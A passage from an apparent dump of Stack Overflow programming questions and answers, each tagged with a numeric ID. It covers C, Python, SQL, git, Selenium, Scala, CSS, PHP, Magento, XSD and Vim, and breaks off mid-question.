38318805	0	Count the number of occurrences of each word <p>I'm trying to count the number of occurrences of each word in the function <code>countWords</code> I believe i started the for loop in the function properly but how do I compare the words in the arrays together and count them and then delete the duplicates? Isn't it like a fibonacci series or am I mistaken? Also <code>int n</code> has the value of 756 because thats how many words are in the array and <code>wordsArray</code> are the elements in the array. </p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt; int *countWords( char **words, int n); int main(int argc, char *argv[]) { char buffer[100]; //Maximum word size is 100 letters FILE *textFile; int numWords=0; int nextWord; int i, j, len, lastChar; char *wordPtr; char **wordArray; int *countArray; int *alphaCountArray; char **alphaWordArray; int *freqCountArray; char **freqWordArray; int choice=0; //Check to see if command line argument (file name) //was properly supplied. If not, terminate program if(argc == 1) { printf ("Must supply a file name as command line argument\n"); return (0); } //Open the input file. Terminate program if open fails textFile=fopen(argv[1], "r"); if(textFile == NULL) { printf("Error opening file. Program terminated.\n"); return (0); } //Read file to count the number of words fscanf(textFile, "%s", buffer); while(!feof(textFile)) { numWords++; fscanf(textFile, "%s", buffer); } printf("The total number of words is: %d\n", numWords); //Create array to hold pointers to words wordArray = (char **) malloc(numWords*sizeof(char *)); if (wordArray == NULL) { printf("malloc of word Array failed. Terminating program.\n"); return (0); } //Rewind file pointer and read file again to create //wordArray rewind(textFile); for(nextWord=0; nextWord &lt; numWords; nextWord++) { //read next word from file into buffer. fscanf(textFile, "%s", buffer); //Remove any punctuation at beginning of word i=0; while(!isalpha(buffer[i])) { i++; } if(i&gt;0) { len = strlen(buffer); for(j=i; j&lt;=len; j++) { buffer[j-i] = buffer[j]; } } //Remove any punctuation at end of word len = strlen(buffer); lastChar = len -1; while(!isalpha(buffer[lastChar])) { lastChar--; } buffer[lastChar+1] = '\0'; //make sure all characters are lower case for(i=0; i &lt; strlen(buffer); i++) { buffer[i] = tolower(buffer[i]); } //Now add the word to the wordArray. //Need to malloc an array of chars to hold the word. //Then copy the word from buffer into this array. //Place pointer to array holding the word into next //position of wordArray wordPtr = (char *) malloc((strlen(buffer)+1)*sizeof(char)); if(wordPtr == NULL) { printf("malloc failure. Terminating program\n"); return (0); } strcpy(wordPtr, buffer); wordArray[nextWord] = wordPtr; } //Call countWords() to create countArray and replace //duplicate words in wordArray with NULL countArray = countWords(wordArray, numWords); if(countArray == NULL) { printf("countWords() function returned NULL; Terminating program\n"); return (0); } //Now call compress to remove NULL entries from wordArray compress(&amp;wordArray, &amp;countArray, &amp;numWords); if(wordArray == NULL) { printf("compress() function failed; Terminating program.\n"); return(0); } printf("Number of words in wordArray after eliminating duplicates and compressing is: %d\n", numWords); //Create copy of compressed countArray and wordArray and then sort them alphabetically alphaCountArray = copyCountArray(countArray, numWords); freqCountArray = copyCountArray(alphaCountArray, numWords); int *countWords( char **wordArray, int n) { return NULL; int i=0; int n=0; for(i=0;i&lt;n;i++) { for(n=0;n&lt;wordArray[i];n++) { } } } </code></pre>
37535624	1	condition parameter adjustment <p>I try to use 'IF' in python in order to achieve the algorithm that can automatically ajust the value of a parameter in 'IF' according to some stock trasactions. </p> <pre><code>if self.sellcount==0 and int(time.time())-self.programstarttime&gt;600: if cur_sum/total_sum&gt;0.15: Other Code else: if cur_sum/total_sum&gt;0.35: Other Code </code></pre> <p>I try to achieve that if my algorithm do not sell any stock for 10 minutes, the algorithm can automatically change the condition from 0.35 to 0.15. However, the code above will change from 0.15 to 0.35 after selling stocks for one time. I want the code to keep 0.15 after selling stocks for one time.</p>
34235714	0	 <p>Something like below<br> I removed WHERE clause and modified rows for d.month and sum(d.spend)<br> Haven't tested, but should be close to working version</p> <pre><code>SELECT d.account_id, d.product, CASE WHEN d.month &gt;= DATE_ADD(CURRENT_DATE() ,-5,"MONTH") THEN d.month ELSE NULL END AS d_month, SUM(CASE WHEN d.month &gt;= DATE_ADD(CURRENT_DATE() ,-5,"MONTH") THEN d.spend ELSE 0 END) AS d_spend, u.lifetime_product_spend FROM FLATTEN(data_source, product) d LEFT JOIN ( SELECT account_id, product, SUM(product_spend)/1000000 lifetime_product_spend FROM usage GROUP BY account_id, product ) u ON (d.account_id = u.account_id AND d.product = u.product) GROUP BY 1, 2, 3, 5 </code></pre>
6135346	0	 <p>Almost any framework, if used properly, will do. Spring / Spring MVC is a good choice:</p> <ul> <li>it supports custom url mappings</li> <li>ORM support</li> <li>Caching support - this will be very important for your scalability</li> </ul>
30883647	0	 <p><strong>For prerecorded audio:</strong> in the Android zip we only included the english files - in the iOS zip we've included the whole language set. </p> <p>Either grab the languages from the iOS demo or download them from <a href="https://www.dropbox.com/sh/0d4qx8xpeka6gh4/AADtdtsEFAezvvKdG3M7hKjja?dl=0" rel="nofollow">here</a> (replace those in the SKMaps.zip/Advisor/Languages folder)</p> <p><strong>For text-to-speech:</strong> you already have the config files in the default SKMaps.zip so no additinal work is needed - just switch the advisor language and make sure that the TTS options is used and it should work (see the <a href="http://developer.skobbler.com/getting-started/android#sec017" rel="nofollow">documentation</a> chapter for details)</p>
22002428	0	 <p>Yes. You are doing the correct thing. Thats the short answer.</p> <p>However, if you are new to git, you might get caught or stuck, so I'll walk you through the process here.</p> <p>If you have not yet committed your changes you can do the following on the remote:</p> <pre><code>git stash git checkout -b my-new-branch-name master git stash apply git add . git commit -m 'committing new changes' git push origin my-new-branch-name </code></pre> <p>The git-stash command just stores your changes temporarily so you can checkout safely, and then git-stash apply reapplies them. This only works for uncommitted changes.</p> <p>If you have already committed your changes to master, you will want to simply create the branch the same way your original post says, but then you probably also want to remove your changes from the local master branch.</p> <pre><code>git branch my-new-branch-name master git reset --hard origin/master </code></pre> <p>This will create your new branch with the new commits, and then reset your local master branch to whatever was in the remote master branch.</p> <p>Now with that done, you can go to your local machine (or any other clone of the same repo), and pull down that branch.</p> <pre><code>git fetch git checkout my-new-branch-name </code></pre>
28989357	0	Unable to click radio button in Internet explorer using Selenium webdriver <p>I am not able to get the radio button clicked using Selenium web driver.</p> <p>The html is as follows</p> <pre><code>&lt;input name="PersonalDetails.Paperless" class="input-validation-error" id="Paperless" type="radio" data-val-required="Contract notes selection is required" data-val="true" value="true"/&gt; </code></pre> <p>The code to click is below. It works in Chrome and FireFox but not in Ie</p> <pre><code>driver.FindElement(By.CssSelector("label[for='OnlineAndPost']")).Click(); </code></pre>
19583109	0	Embed Google+ domain API in google site <p>I am new in Google+ API and glad that Google finally released Google+ domain API. I have read the documentation and follow through the 'get started' but stumbled on the quick start app that can only use Java and Python. I was expecting that I would be able to embed the Google+ domain API in the company's google site as an app or gadget or widget.</p> <p>Has anyone had similar problem or find the solution?</p>
25770507	0	Creating instances of a covariant type class from instances of a non-covariant one <p>Suppose I've got a simple type class whose instances will give me a value of some type:</p> <pre><code>trait GiveMeJustA[X] { def apply(): X } </code></pre> <p>And I've got some instances:</p> <pre><code>case class Foo(s: String) case class Bar(i: Int) implicit object GiveMeJustAFoo extends GiveMeJustA[Foo] { def apply() = Foo("foo") } implicit object GiveMeJustABar extends GiveMeJustA[Bar] { def apply() = Bar(13) } </code></pre> <p>Now I have a similar (but unrelated) type class that does the same thing but is covariant in its type parameter:</p> <pre><code>trait GiveMeA[+X] { def apply(): X } </code></pre> <p>In its companion object we tell the compiler how to create instances from instances of our non-covariant type class:</p> <pre><code>object GiveMeA { implicit def fromGiveMeJustA[X](implicit giveMe: GiveMeJustA[X]): GiveMeA[X] = new GiveMeA[X] { def apply() = giveMe() } } </code></pre> <p>Now I'd expect <code>implicitly[GiveMeA[Foo]]</code> to compile just fine, since there's only one way to get a <code>GiveMeA[Foo]</code> given the pieces we have here. But it doesn't (at least not on either 2.10.4 or 2.11.2):</p> <pre><code>scala&gt; implicitly[GiveMeA[Foo]] &lt;console&gt;:16: this.GiveMeA.fromGiveMeJustA is not a valid implicit value for GiveMeA[Foo] because: hasMatchingSymbol reported error: ambiguous implicit values: both object GiveMeJustAFoo of type GiveMeJustAFoo.type and object GiveMeJustABar of type GiveMeJustABar.type match expected type GiveMeJustA[X] implicitly[GiveMeA[Foo]] ^ &lt;console&gt;:16: error: could not find implicit value for parameter e: GiveMeA[Foo] implicitly[GiveMeA[Foo]] ^ </code></pre> <p>If we get rid of our irrelevant <code>GiveMeJustA</code> instance, it works:</p> <pre><code>scala&gt; implicit def GiveMeJustABar: List[Long] = ??? GiveMeJustABar: List[Long] scala&gt; implicitly[GiveMeA[Foo]] res1: GiveMeA[Foo] = GiveMeA$$anon$1@2a4f2dcc </code></pre> <p>This is in spite of the fact that there's no way we can apply <code>GiveMeA.fromGiveMeJustA</code> to this instance to get a <code>GiveMeA[Foo]</code> (or any subtype of <code>GiveMeA[Foo]</code>).</p> <p>This looks like a bug to me, but it's possible that I'm missing something. Does this make any sense? Is there a reasonable workaround?</p>
21864780	0	 <p>If you want to center an element in a wrapper that is smaller than the element and you can use <code>absolute</code>:</p> <pre><code> #page{ position: absolute; width: 1600px; top: 0; left:-100%; right:-100%; margin-left: auto; margin-right: auto; } </code></pre> <p>example:<a href="http://jsfiddle.net/pavloschris/T5d8W/" rel="nofollow">http://jsfiddle.net/pavloschris/T5d8W/</a></p>
5848186	0	regex to replace 0 in list but not 0 of 10, 20, 30, etc. - using js replace <p>I'm trying to create a regex to replace zeros in list with an empty value but not replace the zeros in ten, twenty, thirty, etc.</p> <blockquote> <p>list = 0,1,0,20,0,0,1,,1,3,10,30,0</p> <p>desired list = ,1,,20,,,1,,1,3,10,30,</p> </blockquote> <p>Using this in the javascript replace function</p> <p>Any help/tips appreciated!</p>
914492	0	Detect when resources loaded via ajax <p>I recently asked how to detect when all resources of a page have been loaded, such as images and stylesheets. The answer came back, use the $(window).load(); method in jQuery.</p> <p>My question now is how do I detect when content is done loading via AJAX. AJAX injects some img elements, say, into the DOM... how can I tell when those images have finished loading?</p>
34490799	0	Cannot read property 'addEventListener' of undefined <pre><code> function asign(id){ return document.getElementById(id) ; } var b = ['p','q','r','s','t','u','v']; var a = ['fname','lname','email','password','r_password','g_m',"g_f"] ; for (i=0;i&lt;a.length;i++) { var x = {} ; x[b[i]] = asign(a[i]) ; x[i].addEventListener('click', function() { alert(x[i].value) ;} ,false) ; } </code></pre> <p>I want just array of variables and IDs asign with them in for loop .</p>
13499017	0	Tracking php process on framework <p>I have a php framework is running on linux machine basicly every requests redirect to index.php by .htaccess </p> <pre><code>Options +FollowSymLinks IndexIgnore */* RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !.*jpg$|!.*gif$|!.*png$|!.*jpeg$|!.*bmp$ RewriteRule . index.php </code></pre> <p>One of my php started to run %100 CPU i want to track which progress is that but when i check process with </p> <p>ps aux | grep 23791</p> <pre><code>user 23791 0.3 0.8 30460 15288 ? S 12:32 0:01 /usr/bin/php /home/user/public_html/index.php </code></pre> <p>As normal, request redirect to index.php.But i have to find which request is this.</p> <p>Is there any way to debug this problem ?</p> <p>Thanks.</p>
32578695	0	Sublime text2, Replace all messes up the upper-case lower-case <p>The replace all option messes up the lower-case formation in Sublime Text 2. For example: </p> <p>When I want to replace all the classes named "example1" to "hidethis"<br> I get "hideThis". </p> <p>This is getting annoying, especially when I am going to do this procedure to URLs. </p> <p>Is there any way to disable that option?</p>
24156219	0	Why won't the logged in name display? <p>I'm trying to show a welcome message to the logged in user that says "Hello Jordan" for example. I can't seem to figure out what I'm doing wrong. I'll give below my admin index.php source code and an image of my MySQL database.</p> <p><img src="https://i.stack.imgur.com/Y1oAD.png" alt="MySQL Database"></p> <p><strong>admin index.php</strong></p> <pre><code>&lt;?php session_start(); include_once('../includes/connection.php'); if (isset($_SESSION['logged_in'])) { // Display Index ?&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt; &lt;title&gt;Jordan CMS&lt;/title&gt; &lt;link rel="stylesheet" href="../assets/style.css" /&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;a href="index.php" id="logo"&gt;CMS&lt;/a&gt; &lt;? echo "Hello" . $_SESSION['username']; ?&gt; &lt;br /&gt; &lt;ol&gt; &lt;li&gt;&lt;a href="add.php"&gt;Add Article&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="delete.php"&gt;Delete Article&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="pages.php"&gt;Add Page&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="users.php"&gt;Add Users&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="logout.php"&gt;Logout&lt;/a&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; &lt;?php } else { // Display Login if (isset($_POST['username'], $_POST['password'])) { $username = $_POST['username']; $password = md5($_POST['password']); if (empty($username) or empty($password)) { $error = 'All fields are required!'; } else { $query = $pdo-&gt;prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $query-&gt;bindValue(1, $username); $query-&gt;bindValue(2, $password); $query-&gt;execute(); $num = $query-&gt;rowCount(); if ($num == 1) { // user entered correct details $_SESSION['logged_in'] = true; header('Location: index.php'); exit(); } else { // user entered false details $error = 'Incorrect details!'; } } } ?&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt; &lt;title&gt;Jordan CMS&lt;/title&gt; &lt;link rel="stylesheet" href="../assets/style.css" /&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="container"&gt; &lt;a href="index.php" id="logo"&gt;CMS&lt;/a&gt; &lt;br /&gt;&lt;br /&gt; &lt;form action="index.php" method="post" autocomplete="off"&gt; &lt;input type="text" name="username" placeholder="Username" /&gt; &lt;input type="password" name="password" placeholder="Password" /&gt; &lt;input type="submit" value="Login" /&gt; &lt;/form&gt; &lt;?php if (isset($error)) { ?&gt; &lt;small style="color: #AA0000;"&gt;&lt;?php echo $error; ?&gt;&lt;/small&gt; &lt;?php } ?&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; &lt;?php } ?&gt; </code></pre>
13183847	0	Frames in Internet Explorer 9: CSS styles not loaded correctly <p>I have a web site with URL <a href="http://myapp.herokuapp.com/welcome.php" rel="nofollow">http://myapp.herokuapp.com/welcome.php</a> and I am redirecting a domain www.example.com to that PHP page as FRAME. When I try to load www.example.com from IE9, I get this error:</p> <pre><code>CSS3111: @font-face encountered unknown error. abeatbyKai.TTF </code></pre> <p>That font is placed here: <a href="http://myapp.herokuapp.com/common/fonts/abeatbyKai.TTF" rel="nofollow">http://myapp.herokuapp.com/common/fonts/abeatbyKai.TTF</a></p> <p>My CSS file is called from welcome.php like this:</p> <pre><code>&lt;link rel="stylesheet" href="css/iflikeu.welcome.0.1.css" type="text/css" /&gt; </code></pre> <p>This is the code of my CSS:</p> <pre><code>@font-face { font-family: 'abeat'; src: url(../common/fonts/abeatbyKai.TTF); } </code></pre> <p>If I enter as <code>src: url('http://myapp.herokuapp.com/common/fonts/abeatbyKai.TTF');</code> still doesn't work.</p> <p>Another example: this image is loaded from welcome.php like this</p> <pre><code>&lt;a id="enLang" class="btn lang_flag" href="#" onclick="changeLanguage('userLangWelcome','en');"&gt;&lt;img src="common/images/flags/en.png"/&gt;&lt;/a&gt; </code></pre> <p>On the CSS file, this is the code:</p> <pre><code>.lang_flag img { width: 25px; height: 12px; vertical-align: middle; } </code></pre> <p>However, the image is not displayed. Just the button (<code>btn</code>).</p> <p><strong>This error only occurs in IE when there is a FRAME redirection.</strong> If I load directly <a href="http://myapp.herokuapp.com/welcome.php" rel="nofollow">http://myapp.herokuapp.com/welcome.php</a> from IE it works, and www.example.com from any other browser works as well.</p> <p>Any ideas? Thanks</p>
24056952	0	 <p>To change the order status you must first enable order auto complete </p> <p><strong>system->config->sales</strong></p> <p>Disable Order Auto Complete set it to <strong>No</strong>,then go to the order in sales and click <strong>create invoice</strong> on the upper right handside then scroll the page to the bottom and click sent comment once your done with that click ship and click submit comment and the order status will change to complete.</p>
28775570	0	 <p><strong>This XSD will allow your first example XML but not your second:</strong></p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"&gt; &lt;xs:element name="rule" type="RuleType"/&gt; &lt;xs:complexType name="RuleType"&gt; &lt;xs:choice&gt; &lt;xs:element name="setting" minOccurs="1" maxOccurs="unbounded" /&gt; &lt;xs:element ref="rule" minOccurs="1" maxOccurs="unbounded" /&gt; &lt;/xs:choice&gt; &lt;xs:attribute name="condition" use="required"/&gt; &lt;/xs:complexType&gt; &lt;/xs:schema&gt; </code></pre> <p><strong>Read the XSD like this:</strong> <em>Each <code>rule</code> can consist of either one or more <code>setting</code> elements or one or more other <code>rule</code> elements (recursively).</em></p>
15662232	0	 <p>Ok, it's simple, I just misread the standard... From the C++ 11, §5 [expr] p9:</p> <blockquote> <p>Many binary operators that expect operands of arithmetic or enumeration type cause conversions and yield result types in a similar way. <em>The purpose is to yield a common type, which is also the type of the result.</em> This pattern is called the usual arithmetic conversions, ...</p> </blockquote>
13058432	0	 <p>Generally you'll have to fetch back out the <code>id</code> values of the inserted rows. This is unless you can create another key that is used in place of that which can be procedurally generated in advance.</p> <p>While <code>INSERT</code> statements with multiple rows is significantly faster, the price you pay is a lack of precision. If your <code>id</code> values are issued sequentially, which is the default behavior, then you can be reasonably assured that the <code>LAST_INSERT_ID()</code> represents the ID of the first row inserted, so you could perhaps calculate the ID of the rows using the method you propose, though starting at index 0.</p> <p>Remember that multiple submissions do not affect the <code>LAST_INSERT_ID()</code> result because this value is per-connection. It is only changed if you perform a subsequent query on the same database handle. Operations in other requests will not affect it.</p> <p>Databases that are clustered or multi-master may issue non-sequential identifiers in which case this won't work. This is also unreliable in an <code>INSERT IGNORE</code> situation where the number of rows actually inserted could be less than the number of rows provided.</p>
8165611	0	 <p>As shown on this site: <a href="http://jquerymobile.com/demos/1.0rc4/docs/api/events.html" rel="nofollow">http://jquerymobile.com/demos/1.0rc4/docs/api/events.html</a> there is an event called 'vmouseover' which stands a 'Normalized event for handling touch or mouseover events'.</p> <p>That is what you need, a possibility to change something on an event, which is in fact the mouseover (formerly known as hover).</p> <p>in Jquery 1.7 you could use </p> <pre><code>$("#yourElement").on("vmouseover", function(event){ $(this).css('color', 'green') $(this).css('background-color', 'red') }); </code></pre> <p>Apply this for your different elements in the calender and it should work.</p> <p>On(): <a href="http://api.jquery.com/on/" rel="nofollow">http://api.jquery.com/on/</a></p> <p>Css(): <a href="http://api.jquery.com/css/" rel="nofollow">http://api.jquery.com/css/</a></p> <p>and next time: provide some example code of what you already tried!!</p> <p>zY</p>
23224993	0	Reverse comma separated column values in SQL Server <p>I have following column which contains values separated by comma. How do I convert it to a result set which gives following out put in SQL Server?</p> <pre><code>DECLARE @TBL AS TABLE (COLUMN1 NVARCHAR(100)) INSERT INTO @TBL SELECT 'AUD,BRL,GBP,CAD,CLP' SELECT COLUMN1 FROM @TBL COLUMN1 ------- AUD,BRL,GBP,CAD,CLP </code></pre> <p>Result I wanted:</p> <pre><code>COLUMN1 ------- AUD BRL GBP CAD CLP </code></pre>
13240074	0	 <p>Because its including the border width. Try:</p> <pre><code>.two{ width: 100%; margin: 0; padding: 0; border: 0; } </code></pre>
32434008	0	 <p>There are a couple of options:</p> <ol> <li><p>Find out the ID of the category you want to to display, creating it if necessary. Then go to <code>System &gt; Configuration &gt; Web &gt; Default Pages</code> in your admin and enter the following for the <code>Default web url</code> option: catalog/category/view/id/99 (where 99 is the id of the category).</p></li> <li><p>Create a normal CMS page, assign it as the homepage in <code>System &gt; Configuration &gt; Web &gt; Default Pages</code> then call a category list.phtml with </p> <p><code>{{block type="catalog/product_list" category_id="99" template="catalog/product/list.phtml"}}</code></p></li> </ol>
26008475	0	 <p>Base address for the board is assigned to the board by the operating system on start-up.</p> <p>OS does a scanning of the PCI devices in the board and allots each device a non-conflicting address range.ie. OS writes the BAR during startup. BAR is a register (Read/Writable) which is implemented inside the PCI card. OS uses configuration cycles to write the to the BAR.</p>
21386161	0	SVN confusion: "local add, incoming add upon merge" What do the words actually refer to? <p>I'm pretty new to subversion and the docs just aren't making sense to me. I was wondering if someone could break down this error message (from <code>svn st</code>) into plain English, as well as the other one I get <code>local delete, incoming delete upon merge</code>. </p> <p>To be precise about my question:</p> <ol> <li>What does <code>local add</code> (or <code>local delete</code>) refer to?</li> <li>What does <code>incoming add</code> (or <code>incoming delete</code>) refer to?</li> </ol> <p>What's mystifying to me is that the branch has absolutely nothing to do with the files that receive these errors. In other words, it doesn't add or delete any of these files locally (what I presume <code>local add/delete</code> means). Besides, if I had deleted the file locally, why would that be in conflict with a deletion in the repo (<code>incoming</code>) anyway?</p> <h2>Background Information</h2> <p>How I got here: I merged <code>trunk</code> into my <code>branch</code> and am trying to commit to my branch.</p> <p>P.S. I've (tried to) read <a href="http://stackoverflow.com/a/12874875/1431728">Managing trunk and feature branches: local delete, incoming delete upon merge</a>, but there's too much terminology. Other questions/answers I've read here on SO don't seem to apply or else are hard to understand.</p>
36522860	0	Android studio - unwanted tab dragging <p>I have an EXTREMELY annoying problem with Android Studio. Scenario:</p> <p>1) Switch tabs by clicking on a tab;</p> <p>2) First action in the new tab is to highlight some code via the mouse.</p> <p>In some cases dragging the mouse after the left click drags the tab as if I'd clicked on the tab and wanted to reposition it.</p> <p>I have not been able to discern any pattern to the phenomenon; for example, the time between switching tabs and the left click, the position of the left click.</p> <p>Any suggestions as to how to stop this?</p>
4562298	0	How to edit a file in Vim with all lines ending in ^M except the last line ending in ^M^J <p>I have a bunch of files that I need to look at. All lines in these files end in ^M (\x0D) except the very last line that ends in ^M^J (\x0D\x0A).</p> <p>Obviously, Vim determines the filetype to be DOS with the effect that the file's entire content is displayed on one single line like so:</p> <pre><code>some text foo^Mmore text and^Ma few control-m^Ms and more and more </code></pre> <p>Since I don't want to change the files' content: is there a setting in Vim that allows to look at these files with the new lines as I'd expect them to be?</p>
8416523	0	 <p>To solve this problem, you need to figure out when the last quarter was. Then it's as easy as going back from there. Here's how I would do it:</p> <pre><code>$minute = idate('i'); $qdiff = $minute % 15; $lastQuarter = time() - $qdiff*60; echo date('Y-m-d H:i', $lastQuarter); </code></pre> <p>Try to figure out what my code is doing. Especially learn how to use the <a href="http://php.net/modulo" rel="nofollow">modulo</a> operator since it's very useful for a large set of numeric problems!</p>
23113929	1	Getting wrong output when working with tuple and list in Python <p>Trying to learn some python and I have the following task:</p> <ol> <li>Get a phrase from the user as an input.</li> <li>Check if the input contains a consonant from a consonants tuple\list that I declare in the code.</li> <li>For every consonant in the user input, print the consonant followed by the letter 'o' and the consonant itself.</li> </ol> <p>For example:</p> <ul> <li>User types the word 'something' as an input</li> <li>Output should be: 'sosomometothohinongog' (vowels do not exist in the consonant tuple and hence are not being appended).</li> </ul> <p>This is my code:</p> <pre><code>#!/usr/bin/python consonant = ('b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z') def isConsonant(user): for consonant in user: print consonant + "o" + consonant var = raw_input("type smth: ") isConsonant(var) </code></pre> <p>Here is what I get:</p> <pre><code>root@kali:~/py_chal# ./5.py type smth: test tot eoe sos tot </code></pre> <p>I have trouble with:</p> <ul> <li>The code treats vowels as consonants even though they are not in the list (notice the 'e').</li> <li>the 'print' method adds a new line - This was solved by importing the sys module and using 'write'.</li> </ul> <p>Any tips are greatly appreciated.</p>
5864043	0	Vector push_back in while and for loops returns SIGABRT signal (signal 6) (C++) <p>I'm making a C++ game which requires me to initialize 36 numbers into a vector. You can't initialize a vector with an initializer list, so I've created a while loop to initialize it faster. I want to make it push back 4 of each number from 2 to 10, so I'm using an int named fourth to check if the number of the loop is a multiple of 4. If it is, it changes the number pushed back to the next number up. When I run it, though, I get SIGABRT. It must be a problem with fourth, though, because when I took it out, it didn't give the signal. Here's the program:</p> <pre><code>for (int i; i &lt; 36;) { int fourth = 0; fourth++; fourth%=4; vec.push_back(i); if (fourth == 0) { i++; } } </code></pre> <p>Please help!</p>
37793857	1	How to write this ajax call in Python <p>I have a ajax call but I have to call it from a Python script. This is the ajax call:</p> <pre><code>$.ajax({ dataType: "json", type: "GET", url: "saytts", data: {text: self.tts()} }); </code></pre> <p>I tried the package Requests but it's not working. Can someone translate this ajax call to a python request?</p> <p>Thank you.</p>
24660202	0	Dimplejs can deal with array of objects in each Json Object <p>I'm trying to create vis with array of objects and in each object there is another array of objects.</p> <pre><code> dataTest.push({"userId": d["userId"], "LevAvg": d["LevAvg"], "Changes": [{ "Day": formattedDate, "Lev": d["Lev"], "Class": d["Class"], "ActiveLocation": d["ActiveLocation"] }] }); </code></pre> <p>i can create vis in X axis userId Y axis is days and each of the values in the array of user is bubble?</p>
3720883	0	SCJP: can't widen and then box, but you can box and then widen <p>I'm studying for the SCJP exam and I ran into an issue I can't really wrap my head around.</p> <p>The book says you can't widen and then box, but you can box and then widen. The example for not being able to box is a method expecting a Long and the method being invoked with a byte.</p> <p>Their explanation is:</p> <blockquote> <p>Think about it…if it tried to box first, the byte would have been converted to a Byte. Now we're back to trying to widen a Byte to a Long, and of course, the IS-A test fails.</p> </blockquote> <p>But that sounds like box and then widen and not widen and then box to me.</p> <p>Could anyone clarify the whole box and widen vs widen and box for me because as it stands the book isn't exactly clear on the issue.</p> <p>Edit: To clarify: I'm talking about pages 252 and 253 of the SCJP sun certified programmer for java 6 book. <a href="http://books.google.be/books?id=Eh5NcvegzMkC&amp;pg=PA252#v=onepage&amp;q&amp;f=false" rel="nofollow noreferrer">http://books.google.be/books?id=Eh5NcvegzMkC&amp;pg=PA252#v=onepage&amp;q&amp;f=false</a></p>
33486232	0	 <p>Why not using <a href="https://github.com/amirarcane/recent-images" rel="nofollow">recent-images</a> library? It makes thumbnails of device photos and set them in gridview, you can custom it for your purpose.</p>
8503241	0	 <p>I think those are bugs in Xcode (you can try changing the font, but I don't think the direction can be changed).</p> <p>However, it is generally preferable to write your strings in English and then use internationalization (i18n) techniques to convert and display them in Arabic at runtime. A quick google revealed this <a href="http://rudifa.wordpress.com/2009/12/12/i18n-of-my-iphone-app/" rel="nofollow">blogpost</a>. This solves two issues:</p> <ol> <li>You can support any number of languages.</li> <li>You can store your Arabic text in a separate file and edit it with an external editor, making it easier to work with.</li> </ol>
13748350	0	 <p>Just to extend @ohmi's answer:</p> <ol> <li>You cannot prevent passes from being installed on more than one device - e.g. if user enables iCloud for Passbook, the passes will get synced automatically across devices.</li> <li>Considering your links to pkpasses are public, you may want to consider introducing one-time download links, but while it can fill your needs just fine, users can be really disappointed if it's impossible to re-add passes that they manually deleted. So I wouldn't recommend such solution. </li> <li>You can make you pkpass links kind of private, so only GET request originating from your application and carrying a specific value for specific header field (e.g. auth_token), will receive a pkpass file, however this way you almost disable pass distribution via email or via sharing URLs to passes and make pass updating probably impossible.</li> </ol>
29887838	0	Multiple rows are not showing when we convert the table data into XML in SQL <p>I have two table as given below.</p> <p><code>OrderHeader</code>:</p> <pre><code>PKOrderHeader CustomerCode DocumentRef SiteCode 1 JOE TEST1 TH 2 POL TEST2 CO 3 GEO TEST3 KH </code></pre> <p><code>OrderDetails</code>:</p> <pre><code>FKOrderHeader ProductCode RotationLineNo 1 PRD1 1 1 PRD2 2 2 PRD3 2 3 PRD4 3 </code></pre> <p>I need to get the XML string as below after converting the table data as XML string</p> <pre><code>&lt;ORDERS&gt; &lt;SO&gt; &lt;HD&gt; &lt;PKOrderHeader&gt;1&lt;/PKOrderHeader&gt; &lt;CustomerCode&gt;JOE&lt;/CustomerCode&gt; &lt;/HD&gt; &lt;HO&gt; &lt;DocumentRef&gt;TEST1&lt;/DocumentRef&gt; &lt;SiteCode&gt;TH&lt;/SiteCode&gt; &lt;/HO&gt; &lt;LO&gt; &lt;FKOrderHeader&gt;1&lt;/FKOrderHeader&gt; &lt;ProductCode&gt;PRD1&lt;/ProductCode&gt; &lt;RotationLineNo&gt;1&lt;/RotationLineNo&gt; &lt;/LO&gt; &lt;LO&gt; &lt;FKOrderHeader&gt;1&lt;/FKOrderHeader&gt; &lt;ProductCode&gt;PRD2&lt;/ProductCode&gt; &lt;RotationLineNo&gt;2&lt;/RotationLineNo&gt; &lt;/LO&gt; &lt;/SO&gt; &lt;SO&gt; &lt;HD&gt; &lt;PKOrderHeader&gt;2&lt;/PKOrderHeader&gt; &lt;CustomerCode&gt;POL&lt;/CustomerCode&gt; &lt;/HD&gt; &lt;HO&gt; &lt;DocumentRef&gt;TEST2&lt;/DocumentRef&gt; &lt;SiteCode&gt;CO&lt;/SiteCode&gt; &lt;/HO&gt; &lt;LO&gt; &lt;FKOrderHeader&gt;2&lt;/FKOrderHeader&gt; &lt;ProductCode&gt;PRD2&lt;/ProductCode&gt; &lt;RotationLineNo&gt;2&lt;/RotationLineNo&gt; &lt;/LO&gt; &lt;/SO&gt; &lt;SO&gt; &lt;HD&gt; &lt;PKOrderHeader&gt;3&lt;/PKOrderHeader&gt; &lt;CustomerCode&gt;GOE&lt;/CustomerCode&gt; &lt;/HD&gt; &lt;HO&gt; &lt;DocumentRef&gt;TEST3&lt;/DocumentRef&gt; &lt;SiteCode&gt;KH&lt;/SiteCode&gt; &lt;/HO&gt; &lt;LO&gt; &lt;FKOrderHeader&gt;3&lt;/FKOrderHeader&gt; &lt;ProductCode&gt;PRD3&lt;/ProductCode&gt; &lt;RotationLineNo&gt;3&lt;/RotationLineNo&gt; &lt;/LO&gt; &lt;/SO&gt; &lt;/ORDERS&gt; </code></pre> <p>The query that I used to 